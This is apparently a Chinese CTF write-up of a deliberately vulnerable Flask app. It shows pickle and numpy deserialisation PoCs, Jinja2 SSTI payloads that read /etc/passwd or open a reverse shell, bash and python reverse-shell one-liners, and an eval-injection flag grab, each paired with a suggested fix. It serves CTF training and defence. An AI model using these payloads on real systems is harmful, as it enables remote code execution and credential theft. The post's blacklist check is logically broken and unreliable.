ogeek线下赛web分析1-python-web
1.python
from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
def get_cookie():
check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
return choice(check_format) @app.route('/')
def index():
global Archives
resp = make_response(render_template('index.html', Archives = Archives))
cookies = bytes(get_cookie(), encoding = "utf-8")
value = base64.b64encode(cookies)
resp.set_cookie("username", value=value)
return resp @app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', msg='文章ID不存在!', status='失败')
return render_template('Archive.html',Archive = Archives[id]) @app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info) //pickle反序列化
username = info["name"]
except Exception as e:
print(e)
username = "Guest" if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username) @app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value) @app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积') @app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True) if __name__ == '__main__':
app.run(host='0.0.0.0',port='',debug=True)
第一个洞:pickle反序列化
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info) //pickle反序列化
常见用于python执行命令的库有:
os,subprocess,command
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
以及
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',]) sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',)) platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")
那么最简单的exp当然是是通过os.system来执行命令:
import pickle
import os
import subprocess
import base64 as b64
class genpoc(object):
def __reduce__(self):
s = """whoami"""
return os.system,(s,)
evil = b64.b64encode(pickle.dumps(genpoc()))
pickle.loads(b64.b64decode(evil))
pickle和cpickle都可以进行反序列化,cpickle速度更快一点,生成payload就可以进行批量读取flag
__reduce__函数中返回的元组中用于执行命令的模块当然可以进行替换,防御时可以基于黑名单,把system等库直接ban了:
if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()):
exit(0)
基于黑名单的方式可能存在被绕过的可能,最好的方式是基于白名单:
原始的pickle的loads函数如上如所示,参考https://www.jianshu.com/p/8fd3de5b4843可以在返回序列化对象前加一个判断:
class genpoc(object):
def __reduce__(self):
s = """whoami"""
return os.system,(s,)
evil = pickle.dumps(genpoc())
allow_list = [str, int, float, bytes, unicode] class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value))) def a(func):
def wrapper(*args, **kwargs):
if args[0].stack[-2] in allow_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper def loads(evil):
#global evil
file = StringIO(evil)
temp = Unpickler(file)
temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE])
return temp.load()
loads(evil)
这样就能防御住pickle反序列化漏洞,这里原因貌似是这样:因为我们是在__reduce__中传入的要调用的函数为为os.system,参数为whoami,__reduce__返回的是一个元组,
此时只要检测__reduce__中的变量就可以了,
而在pickle的源码中,通过类Unpickler对象的dispatch的REDUCE属性就能够对reduce中的变量进行操作
其中stack变量中实际上存储着内置函数system,此时就可以通过args[0].stack[-2]来获得到之前__reduce__中定义的system,接着只要将该值与白名单的值进行比较即可。
第二个洞:CVE-2019-8341 jinja2 ssti
漏洞代码为:
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
这个洞是因为from_string的锅,jinja2版本小于2.10,
exploitdb也给了具体的payload:
读/etc/passwd
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
反弹shell:
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}
修复的话可以直接过滤username中的.点即可
第三个洞:CVE-2019-6446 numpy反序列化
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')
numpy.loads在读取字符串时,也会采用pickle的loads方式读取序列化字符串
那么只要利用pickle构造出序列化的poc,传递给numpy.loads(),就能够达到同样的效果
import numpy
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """whoami"""
return os.system,(s,)
evil = pickle.dumps(genpoc())
print evil
numpy.loads(evil)
防御方法可以参考:https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb
因为这里numpy.loads实际上调用的是pickle.loads,所以也可以按照修复pickle时白名单或者黑名单的方式,禁止一些可以调用的执行命令的对象。
第四个洞:eval后门
type = request.form['type'][:1]
msg = request.form['msg']
if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
这里直接执行eval,并且type和str都是可控的,但是需要先bypass前面的限制,这里限制type为一个字符,我们只要闭合‘单引号即可,poc可为:
读取flag可以为:
set_str("'","+os.system('cat${IFS}/f*')#")
这样payload刚好为27个字符,能够获取到flag
修复方法也很简单:
可以过滤掉斜杠即可/
ogeek线下赛web分析1-python-web的更多相关文章
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- 2021江西省赛线下赛赛后总结(Crypto)
2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...
- Java Web开发和Python Web开发之间的区别
今天的文章讨论了Java Web开发和Python Web开发之间的区别.我不鼓励我们在这里从Java Web迁移到Python Web开发.我只是想谈谈我的感受.它不一定适合所有情况,仅供我们参考. ...
- 【Python】【web.py】python web py入门-4-请求处理(上)
python web py入门-4-请求处理(上) 2017年09月05日 23:07:24 Anthony_tester 阅读数:2907 标签: webpy入门请求处理 更多 个人分类: Pyth ...
- Python Web框架本质——Python Web开发系列一
前言:了解一件事情本质的那一瞬间总能让我获得巨大的愉悦感,希望这篇文章也能帮助到您. 目的:本文主要简单介绍Web开发中三大基本功能:Socket实现.路由系统.模板引擎渲染. 进入正题. 一. 基础 ...
- Redhat 线下赛 WEB WP
赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...
- 【Python】【Web.py】python web py入门-5-请求处理(下)
前面一篇,我们演示了如何获取GET和POST请求的参数信息,这篇我们介绍如何获取请求的头部信息,这个方法我们在前面一篇文章已经给出了.直接来看一个例子,首先,我们在hello.py文件新增一个方法,用 ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
随机推荐
- .net测试篇之测试神器Autofixture Generator使用与自定义builder
有了上一节自定义配置,很多问题都能解决了,但是如果仅仅是为了解决一个简单问题那么创建一个类显得有点繁重.其实AutoFixture在创建Fixture对象时有很多方便的Fluent配置,我们这里介绍一 ...
- Mysql主从复制原理及搭建
## Mysql主从复制原理 主从复制是指一台服务器充当主数据库服务器,另一台或多台服务器充当从数据库服务器,主服务器中的数据自动复制到从服务器之中.对于多级复制,数据库服务器即可充当主机,也可充当从 ...
- JS如何重写一个函数
分享一些自己在开发上遇到的问题,比如我们页面上用了大量的打印语句,但是在某些时候,我们不想要了. 解决方案1 : 我们删除这里的代码,如果太多了,那工作量太大好累,想想都不想干 解决方案2 :我们将c ...
- Liunx学习总结(八)--服务
什么是服务 服务是向外提供服务的进程,一般来说都会放在后台,既然要持续不断的提供外界随时发来的服务请求,服务进程就需要常驻在内存中,且不应该和终端有关,否则终端退出服务程序就退出了.另外,要能够接待外 ...
- MSIL实用指南-给字段、属性、方法、类、程序集加Attribute
C#编程中可以给字段.方法.类以及程序集加特性即继承于Attribute的类.这里讲解怎么在IL中给它们加上特性. 生成字段的对应的类是FieldBuilder,生成属性的对应的类是PropertyB ...
- fdfsdf
名称:字符串 来源:2019年陕西省选 题目内容 传送门 洛谷(P5392) 题目描述 给出一个长度为$n$的由小写字母组成的字符串$a$,设其中第$i$个字符为$a_i(1≤i≤n)$. 设删掉第$ ...
- 2019 HZNU Winter Training Day 14 Comprehensive Training
A - Choosing Capital for Treeland CodeForces - 219D 题意:有一颗单向边的树,要选取一个结点作为首都.要求是这个结点到其它结点,总共需要翻转的路径数量 ...
- hdu4565 So Easy!(矩阵快速幂)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4565 题解:(a+√b)^n=xn+yn*√b,(a-√b)^n=xn-yn*√b, (a+√b)^n ...
- codeforces 735C. Tennis Championship(贪心)
题目链接 http://codeforces.com/contest/735/problem/C 题意:给你一个数n表示有几个人比赛问最多能赢几局,要求两个比赛的人得分不能相差超过1即得分为2的只能和 ...
- Net Core DocXCore 实现word模板导出
实际工作中,往往有这样的需求,需要导出word,还有各种各样的样式,于是有了word模板导出. 实现以下几个需求: 1.表单导出 2.表格导出 3.表单表格混合导出 4.实际用例测试 解决方案: 实现 ...